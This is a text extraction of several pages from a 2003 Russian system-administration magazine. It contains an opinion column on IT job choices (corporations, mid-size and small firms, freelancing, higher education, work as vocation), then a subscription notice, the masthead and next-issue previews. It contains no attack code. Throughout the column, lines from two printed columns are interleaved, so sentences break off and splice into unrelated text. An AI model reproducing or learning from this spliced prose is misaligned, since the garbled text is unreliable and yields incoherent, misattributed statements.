стандартную ситуацию. Если он говорит десять тысяч руб- здесь бывает самая разнообразная, но чаще относительно
лей, говори: «Нет! (и после непродолжительной паузы) Де- невысокой степени загазованности (то есть жить можно, хотя
сять – это слишком много. Давайте пять… (пауза) для в горле все-таки першит). Карьеристов не так много, а от-
начала. А там, когда мы присмотримся друг к другу, – там кровенных идиотов среди них, за редкими исключениями, и
видно будет». вовсе нет. При наличии дипломатических навыков вы быст-
Восьмое. Если работодатель, ранее незнакомый тебе, ро наладите хорошие отношения со всей вертикалью влас-
попытается с места в карьер перескочить на дружеские ти, и если «нижние» начнут прижимать, вы сможете урегу-
отношения, держись от него на официальной дистанции, лировать ситуацию путем обращения «наверх».
ибо такая «дружба» обычно приводит к необходимости Устроиться в такие компании достаточно тяжело, т.к. все
выполнения поручений, непосредственно не связанных хорошие места уже давно схвачены, а штат и так раздут
с твоей работой и к тому же никак не оплачиваемых. сверх предела. Зато если уж устроились, то для реализации
Девятое. Если тебя все-таки не приняли – не расстраи- собственного потенциала лучшего плацдарма и не приду-
вайся. Возможно, причина вовсе не в тебе, а в нанимателе. маешь. Никто, конечно, не говорит, что все будет идти как
по маслу. Вы встретите и равнодушное непонимание, и оже-
Корпорации и крупные компании сточенное сопротивление, и даже палки в колесах, все это
Здесь вы будете чувствовать себя крошечным винтиком так, но… у средних фирм есть все необходимые средства
гигантской машины, ваше мнение никого не будет интере- для реализации ваших планов (если только они не совсем
совать, вас обяжут соблюдать определенный корпоратив- уж грандиозные), и к тому же есть потребность в новых иде-
ный кодекс (даже если он будет противен вам). Атмосфера ях (иначе компания просто не удержится на рынке). Так что
компании скорее всего будет нездоровая. Из низких чинов дерзайте. Удачи не желаю (удача – баба подлая и непосто-
будет полно кретинических карьеристов (и вам придется янная), а вот лошадиная работоспособность вам бы не по-
им подчиняться), среднее и высшее руководство ничего мешала. Концентрация интеллектуального потенциала на
не будет знать о вашем существовании (ну кто вы для них), одно рабочее место в таких компаниях, как нигде, высока,
а от ваших коллег (среди которых карьеристы тоже най- поэтому, если сумеете убедить в перспективности своих идей
дутся) придется в любой момент ждать удара в спину. всех окружающих, вместе горы свернете.
Теперь о плюсах. Устроиться в такие компании оказы- Зарплаты высокие и очень высокие (штат небольшой,
вается на удивление легко, однако к вашим профессиональ- а его рентабельность велика), правда, карьеру сделать
ным навыкам отношение будет довольно скептическим (типа: еще труднее, чем в крупных компаниях, т.к. в отличие от
вот проработай в компании с мое), хотя у многих тамошних последних плановыми ротациями кадров здесь и не пах-
авторитетов с солидным стажем и высокими должностями нет, да и вообще начальство меняется редко и неохотно.
даже зачатки профессионализма и не ночевали. Умные Тем не менее, если нельзя развиваться вглубь, это еще
люди, конечно, будут. И их будет много. Но дураков будет не означает, что вы не сможете развиваться вширь. Ра-
еще больше. Заплаты здесь средние (кормить свой штат во ботайте на своем рабочем месте, оттачивайте свои зна-
всей его своре непросто даже гигантам), правда, зарплата ния и навыки, наконец, просто получайте удовольствие
резко растет вместе с карьерой, но карьеру в силу огром- от самого процесса работы! Тем более что сверхурочные
ной конкуренции здесь строить трудно. Профессиональных задержки здесь не редкость, а норма.
навыков такая работа тоже не дает (сначала вы будете ка-
менщиком, который должен класть от сих до сих, даже если Мелкие компании
это и заведомо неправильно, а все попытки проявить ини- Поздравляю! Вы в зазеркалье. Всякая мелкая компания есть
циативу будут жестоко вырезаться на корню, потом вы бу- проекция личности ее шефа на обстановку окружающей
дете руководителем каменщиков, которому сверху спущен действительности. И чем компания мельче, тем она все за-
план, кривой, как бумеранг, разумеется, но внесение исправ- зеркалистее и зазеркалистее. Это может быть воздушный
лений выходит за пределы вашей компетенции…. даже если замок, расположенный в дорогом офисе и с ног до головы
вы пробьетесь в архитекторы, вы окажетесь под жестоким напичканный дорогой оргтехникой и улыбающимися личи-
давлением кучи дизайнеров, менеджеров и прочих марке- ками топ-моделей, пытающихся играть роль секретарш.
тоидов, предъявляющих к проекту нелепые и взаимоисклю- Доходность предприятия, равно как и профессиональные
чающие требования). Черт, минусов все-таки выходит боль- навыки его сотрудников, директора абсолютно не интересу-
ше. Зато уходить с работы вы будете в точно заданное вре- ют (он вообще создал эту фирму ради отмывания денег). Но
мя. Секунда в секунду. это может быть и прокуренная подвальная комната, войти в
которую можно только изогнувшись по синусоиде. Здесь все
Средние компании свои, и сигаретный дым – один на всех. Начальник имеет
Нет, вы не винтик. Вы структурная единица (по типу семья – ровно столько же привилегий, сколько и остальные члены
ячейка общества), и к вашему мнению иногда будет прислу- команды. Ничего, хотя бы отдаленно напоминающего сле-

92
iMHO
ды субординации, и в помине нет! Подчас такие команды потому можете заниматься именно тем, что вас в данный
бывают на редкость сплоченными, особенно если охвачены момент больше всего интересует. Если сотрудничать с не-
одной общей идеей, и устроиться сюда на работу может ока- сколькими фирмами одновременно, то вы практически на
заться очень и очень трудно. Как правило, требуется личное сто процентов застрахованы от внезапного краха. Про-
знакомство или рекомендация одного из членов команды. граммируйте, администрируйте, ищите дыры в системах
Концентрация умных людей в мелких компаниях может безопасности – сотни компаний нуждаются в ваших ус-
достигать и 120%. Работать в такой атмосфере чрезвычай- лугах и перебоев с заказами не будет. Правда, работать
но интересно и увлекательно, правда, работать приходится придется не очень много, а настолько много, что понача-
очень и очень много. Порой – по 40-50 часов кряду (и это лу даже страшно себе представить, причем пословицу
отнюдь не гипербола!), причем, без каких-либо гарантий «Волка ноги кормят» вам придется вспоминать не раз и
получения достойной оплаты за свой труд. Все зависит от не два. Такая работа сильно изматывает, и, несмотря на
того, насколько хорошо пойдет продукт на рынке. И, как по- все прелести вольной жизни, свободный копейщик прак-
казывает практика, без посторонней помощи даже отлич- тически никогда не отказывается от постоянной работы –
ный продукт никуда не идет. Отсутствие грамотного менед- стоит ему ее только предложить.
жера, отсутствие долгосрочной рыночной стратегии, неуме- В самом деле – перспектив карьерного роста здесь
лое планирование и амбициозные идеи при полном отсут- нет никаких (выше себя не прыгнешь). Сидишь, варишь-
ствии финансовых средств приводят к тому, что множество ся в собственном соку, и ни обмена идеями тебе, ни про-
мелких фирм разоряются чуть ли не в течение года. Самое стой дружеской помощи в трудные часы. Конечно, об-
печальное, что реального опыта работа в таких фирмах не щаться с коллегами можно и по Интернету, но это все-
дает, да и не может дать. Концентрация на частных пробле- таки не то. Свободные копейщики – они, как кошки, бро-
мах, общение с ограниченным кругом людей (не путать с дят где-то там сами по себе, на свою территорию чужих
кругом ограниченных людей), изматывающая работа не ос- не пускают, а профессиональными секретами делятся
тавляют после себя практически ничего. Ничего, что пред- крайне неохотно (ведь знания – это их хлеб). Возможно-
ставляло бы интерес для будущих работодателей. стей для реализации серьезных проектов у одиночек нет.
Если же несколько свободных кошек собираются в одну
Свободный копейщик команду, то это будет фирма, независимо от того, заре-
Практически все то же самое, что и в мелкой компании, гистрирована она официально или нет.
однако в своем домашнем офисе вы сам себе хозяин и

ALMA MATER чения самостоятельно? Ведь в конечном итоге специалис-


Чему учат в институтах, спешно переименованных в боль- ты по информационным технологиям учатся всю свою
шинстве своем в университеты? Ну чему-нибудь да учат… жизнь. Приобретаемые знания и навыки настолько быстро
Не спорю, высшее образование грузилом в кармане ни- устаревают, что описание передовых технологий просто не
когда не будет, хотя не будет оно и тем спасительным «по- успевает попасть в учебники, а преподаватели оказыва-
плавком», которым было при социализме. В наши дни дип- ются не в состоянии совмещать преподавательскую дея-
лом для трудоустройства абсолютно необязателен. Автор тельность с изучением всего нового. Да, конечно, какой-то
этой статьи не имеет диплома, и его отсутствие ни разу не костяк знаний остается незыблемым и фундаментальным,
становилась непреодолимой преградой успешного трудо- но… весь фокус в том, что: а) изучать фундаментальные
устройства. Даже наоборот. Устраиваясь в одну довольно знания можно и вне института, учебников на то – море; б) -
престижную и именитую фирму, автор попал на собеседо- понятие «фундаментальности» очень относительно. Вот,
вание непосредственно к самому Главному Инженеру толь- допустим, интеграл. Вполне себе фундаментальное зна-
ко потому, что тот заинтересовался: что ж это за птица та- ние, но я знаю очень много высококвалифицированных про-
кая набралась наглости сунуться сюда без следов свиде- граммистов, которые с необходимостью вычисления интег-
тельств высшего образования, когда к ним и «нормальные» ралов так ни разу и не сталкивались. Поклонники высшего
люди устроиться не могут. Собеседование с руководящи- образования говорят: а вдруг завтра этот интеграл им при-
ми работниками фирмы в таких случаях решает все, и если годится, а с ним еще и матрицы в придачу?! Что ж! Если
вы действительно квалифицированный специалист, то с так, то алгоритм действий будет предельно прост. Идем в
вероятностью, близкой к единице, вас возьмут. Хуже, ко- ближайшую библиотеку (или же вовсе в Интернет), берем
нечно, нарваться на девочку-секретаршу. Этой весь ваш там все, что мы хотели бы знать об интегралах, изучаем в
профессионализм по барабану, и потому любыми путями необходимом разрезе, реализуем, что нам там было надо
пробивайте дорогу наверх – к начальству. реализовать, и… забываем все это напрочь! (Негоже вся-
Если хорошенько подумать, то можно прийти к выводу, кий хлам в мозгу держать, и если хотите сохранить цепкую
что высшее образование – это рулетка. Повезет – вы ока- память – учитесь все ненужное забывать). Какой смысл му-
жетесь в коллективе умных людей, у которых действитель- чительно вспоминать с горем пополам зазубренные зна-
но есть чему поучиться, а не повезет – понапрасну потра- ния, какой смысл вообще зубрить весь «джентльменский
тите время, причем весьма значительное его количество. набор»? Потребуется – поднимете соответствующую ли-
А ведь способность к обучению стремительно тает с воз- тературу и прочитаете. То, что требуется часто, запомнит-
растом. Так, может быть, лучше плюнуть на традиции и ся и так. То же, что требуется от случая к случаю, запоми-
вместо поступления в вуз заняться вопросами своего обу- нать нет необходимости.

№9(10), сентябрь 2003 93


IMHO
Работа как средство институте, да окончите вы его хоть с красным дипломом,
самоидентификации! но если наклонности к инженерным дисциплинам у вас
Говорят, что у «нас» работают, чтобы жить, а на Западе – нет, то справиться с нештатными ситуациями вы все рав-
живут, чтобы работать. Если работа не приносит мораль- но не сможете. В лучшем случае будете худо-бедно ез-
ного удовлетворения, если основным символом успеха дить по наезженному кругу. Конечно, рынку требуются
становятся деньги, то единственное, что остается поре- и такие люди, и у вас имеются достаточно неплохие шан-
комендовать в такой ситуации: идите на рынок и торгуй- сы найти себе отличную (в смысле зарплаты) работу,
те бананами, а в компьютерной индустрии вам делать но… если вы ее не полюбите, то, спрашивается, чего же
нечего. Не секрет, что многие становятся программиста- стоит вся ваша жизнь? Если вы не идентифицируете себя
ми лишь потому, что это «модно», «престижно» и к тому со своей работой, если ваша работа не есть материаль-
же достаточно перспективно в карьерном и финансовом ное воплощение ваших мыслей и чувств, то вы – труп
отношении. при жизни. Напротив, если все сделанное вами несет
Выбирать работу по принципу «выгодности», а не по частицу вас самого, вы будете жить ровно столько, сколь-
степени призвания, вероятно, и есть основной отличитель- ко протянет последний из продуктов вашего труда, а
ный признак «нового» времени от «доперестроечного» может быть, и еще больше! Ведь всякое Хорошее Дело
прошлого. Помилуйте, судари/господа! Чтобы работать в становится родоначальником других Хороших Дел.
высокотехнологических сферах надобно призвание иметь, Вот только найти свое настоящее призвание иной раз
то есть определенные наклонности от природы или хотя оказывается очень трудно. Скажем, автор этой статьи,
бы непреодолимую тягу к компьютерам наконец. Причем долгое время занимавшийся программированием и до-
эта тяга должна выражаться не в стремлении купить про- вольно скептически относящийся к журналистике/лите-
цессор покруче и запустить стрелялку поDOOMовистее, ратуре, своих наибольших успехов добился именно на
а, напротив, изучить свой недорогой и далеко не самый литературном поприще, что явилось для него полной нео-
современный компьютер так, чтобы научиться чувство- жиданностью. Поэтому не зацикливайтесь лишь на од-
вать движение электронов в любой из его токовых цепей. ном направлении! Подходите к поиску своего призвания
Наивно считать, что всему этому можно научиться в творчески и не бойтесь экспериментировать.

94
подписка

Альтернативная подписка: ООО «Интер-Почта» по тел. (095) 500-00-60


Курьерская доставка по Москве
Открыта редакционная подписка на II полугодие 2003 г.
Информация на сайте www.samag.ru в разделе «Подписка»

81655

Единый
подписной
индекс:

81655
по каталогу 81655
агентства
«Роспечать»

Рады видеть
Вас нашими
читателями!

№9(10), сентябрь 2003 95


СИСТЕМНЫЙ АДМИНИСТРАТОР
№9(10), Сентябрь, 2003 год

РЕДАКЦИЯ
ЧИТАЙТЕ
Исполнительный директор
В СЛЕДУЮЩЕМ
Владимир Положевец
Ответственный секретарь
Наталья Хвостова
НОМЕРЕ:
sekretar@samag.ru
Технический редактор
Владимир Лукин Установка Свой собственный модуль
IMAP4-сервера на базе В этой статье мы рассмотрим основ-
РЕКЛАМНАЯ СЛУЖБА cyrus-imapd + sendmail ные операции с модулями ядра Linux,
тел.: (095) 928-8253 (доб. 112) Традиционный протокол POP3, ис- а также создание собственного моду-
факс: (095) 928-8253 пользуемый клиентскими программа- ля, позволяющего расширить возмож-
Константин Меделян ми для получения почты с сервера, об- ности ядра операционной системы.
reсlama@samag.ru ладает рядом недостатков – во-пер- В Linux драйверы выполнены в
вых, в рамках почтовой сессии пароль виде модулей ядра. Ядро Linux содер-
Верстка и оформление передается в открытом виде (plain жит только самый необходимый код –
imposer@samag.ru text) и злоумышленник может легко чтобы только загрузиться. Поддерж-
maker_up@samag.ru его перехватить. ку остальных устройств обеспечива-
Во-вторых, если пользователь заби- ют модули, которые встраиваются в
Дизайн обложки рает почту с разных мест, ему везде ядро при загрузке системы. С помо-
Николай Петрочук придется настраивать фильтры для сор- щью пакета modutils, который будет
тировки в почтовом клиенте и скачи- рассмотрен ниже, вы можете доба-
103012, г. Москва, вать заново всю почту с сервера. вить нужный вам модуль в ядро во
Ветошный переулок, дом 13/15 В-третьих, если вы заведомо зна- время работы системы. При этом пе-
тел.: (095) 928-8253 (доб. 112) ете, что вам нужно удалить какое-то резагружать систему не нужно – уст-
факс: (095) 928-8253 сообщение прямо на сервере, пред- ройство начнет работать сразу же
Е-mail: info@samag.ru варительно его придется загрузить к после загрузки модуля.
Internet: www.samag.ru себе на машину. Раньше, в первых версиях ядра
Альтернативой POP3 может служить Linux, механизм работы с модулями
РУКОВОДИТЕЛЬ ПРОЕКТА IMAP (Internet Message Access Protocol), не был предусмотрен, и ядра тех вре-
Петр Положевец который и призван избавить пользова- мен содержали в себе код драйверов
теля от вышеупомянутых проблем. для всех поддерживаемых устройств.
УЧРЕДИТЕЛИ Такое решение нельзя назвать
Владимир Положевец Анализ защиты программ рациональным. Мы не можем пре-
Александр Михалев и рекомендации дусмотреть, какие устройства будут
по её усилению установлены у конечного пользова-
ИЗДАТЕЛЬ Для того чтобы защитить программы теля, даже если включить в состав
ЗАО «Издательский дом от взлома, необходимо знать, против ядра драйверы всех возможных ус-
«Учительская газета» чего мы боремся. Будем считать, что тройств.
мы являемся разработчиками про- Исходя из всего этого, разработ-
Отпечатано типографией граммного обеспечения и нам проти- чики ядра Linux «изобрели» механизм
ООО «Мастер Печати» востоит взломщик среднего уровня. динамически загружаемых модулей.
Тираж 5500 экз.
Мы участвуем!
Журнал зарегистрирован На стыке сентября и октября наш журнал примет участие сразу в двух значи-
в Министерстве РФ по делам печати, тельных мероприятиях: 14-й ежегодной выставке информационных техноло-
телерадиовещания и средств мас- гий SofTool (30.09.2003 – 04.10.2003) и конференции АДЭ (ассоциация доку-
совых коммуникаций (свидетельство ментальной электросвязи).
ПИ № 77-12542 от 24 апреля 2002г.) На SofTool все желающие могут найти нас на стенде №Е38, чтобы пооб-
щаться с представителями журнала, задать интересующие вопросы, купить
За содержание статьи ответственность старые и новые номера и договориться о деловом сотрудничестве.
несет автор. За содержание рекламно- В Конференции АДЭ (30.09.2003 – 02.10.2003) примут участие специа-
го обьявления ответственность несет листы и руководители крупных фирм и организаций. Сама конференция бу-
рекламодатель. Все права на опубли- дет проходить в Подмосковье, в отеле Виноградово, и благодаря насыщенно-
кованные материалы защищены. Ре- сти программы ожидается крайне плодотворной.
дакция оставляет за собой право изме- Рекламные материалы данных мероприятий вы сможете найти на страни-
нять содержание следующих номеров. цах нашего журнала.

96

Вам также может понравиться